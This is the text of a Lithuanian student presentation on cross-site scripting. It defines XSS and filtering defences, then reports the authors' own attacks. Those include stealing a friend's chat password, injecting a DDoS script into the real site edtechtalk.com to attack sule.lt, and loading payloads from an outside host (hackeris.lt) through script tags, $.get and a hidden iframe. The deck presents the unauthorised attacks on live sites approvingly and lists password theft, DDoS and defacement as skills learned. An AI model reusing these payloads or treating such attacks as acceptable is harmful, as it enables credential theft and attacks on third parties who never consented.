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Cross site scripting (XSS)

Kas tai?
XSS – tai sistemų pažeidžiamumas, dažniausiai būna tinklalapiuose, kuomet į 
peržiūrimą puslapį įterpiamas papildomas kodas

Kada tai nutinka?
Kai kada chatuose ar forumuose, pranešimuose leidžiama naudoti HTML 
tegus, tada vartotojas gali įterpti tokius tegus, kurie jam sius HTTP-Cookie’ius 
vartotojo, atsidariusio “blogą” nuorodą.

Dėl ko tai nutinka?
Dažniausiai tai atsitinka dėl prastos filtracijos.

Apsisaugojimo budai
Norint apsisaugoti, reiketų uždrausti javascript: ir data: protokolus visuose 
nuorodose, taip pat reikalinga teksto, html atributų ir jų reikšmių filtracija



  

Resursai, skirti laboratorijai:

● Tailored VPS hostingas
● Ubuntu 11.04
● Apache2+Fast CGI PHP
● MySQL
● PHP5
● jQuery 1,4
● CSS3
● HTML5
● Mozilla Firefox / Chromium



  

Realaus gyvenimo atvėjai

Surasti realūs puslapiai:
www.edtechtalk.com

Kaip buvo vykdoma pažeidžiamumų paieška:
Laukuose buvo įterptas trumpas pavyzdinis scriptas, rastas Internete
Suradome pažeidžiamą lauką ir sukurėme DDOS scriptą, kuris puola 
www.sule.lt 
Tinklapis buvo pareklamuotas ir laukėme rezultatų (statistika mūsų 
puslapyje) 

http://www.edtechtalk.com/


  

Žingsniai

● Sukureme chato karkasą su PHP
● Pridėjome prie chato AJAX autoupdate
● Patestavome chatą su draugais
● Taisėme klaidas
● Praktikavomes su XSS:
● Suradome veikiantį alert(‘xss’);
● Padarėme slaptažodžių sniffingą lokaliai su $.get() 

jQuery funkcija;
● Modifikavome taip, kad sniffingas eitų ne per 

$.get(), o per modifikuotą login formą;



  

Chat @ Style Mistake (1)



  

Chat @ Style Mistake (2)



  

Chat @ Style Mistake (3)
Taip atrodo slaptažodžių pavogimo skriptas



  

Chat @ Style Mistake (4)
Taip atrodo slaptažodžių gavėjas (PHP)



  

Chat @ Style Mistake (5)
Bingo! Turime Simono slaptažodį! :)



  

Vienas JavaScript ypatumas...

Problema:
Jeigu naršykle aptinka tokį kodą:

<script src=”http://hackeris.lt/test.js”></script>

...arba toki JavaScript / jQuery užklausą:

<script>
    $.get( “http://hackeris.lt/get.php” );
</script>

...o pats puslapis yra kitame serveryje (pvz serveris.lt), tokiu atveju beveik 
visos naršyklės blokuoja tokio JavaScript failo užklausą.

http://hackeris.lt/test.js
http://hackeris.lt/get.php


  

Vienas JavaScript ypatumas...

Sprendimas:
Vienas iš variantų XSS panaudojimo – pakrauti JS failą su <iframe> pagalba:

<iframe src=”http://hackeris.lt/test.html”></iframe>

Šitu atveju kraunamas HTML failas, kuriame nebegalioja šitie apribojimai.

http://hackeris.lt/test.html


  

Vienas JavaScript ypatumas...

Pastaba:
Toks kodas gali buti lengvai pastebetas, nes tai yra normalus HTML blokas:

<iframe src=”http://hackeris.lt/test.html”></iframe>

Tai gali buti pataisyta paprastu CSS atributu:

<iframe src=”http://hackeris.lt/test.html”
        style=“display: none“></iframe>

http://hackeris.lt/test.html
http://hackeris.lt/test.html


  

EdTechTalk.com (1)
Testuojame XSS (color: green)



  

EdTechTalk.com (2)
Įterptas Sule.LT puolimo skriptas



  

Video Proof #1



  

Video Proof #2



  

Ką išmokome?

● Aptikti XSS pažeidžiamumą tinklapiuose
● Apeiti ribojimus, susietus su užklausa iš kito 

serverio
● Daryti slaptažodžių pasisavinimo skriptus
● Provokuoti DDOS ataką su JavaScript
● Gadinti ir keisti tinklapių vaizdavimą (defacing)



  

Video Proof #3



  

Klausimai?

?
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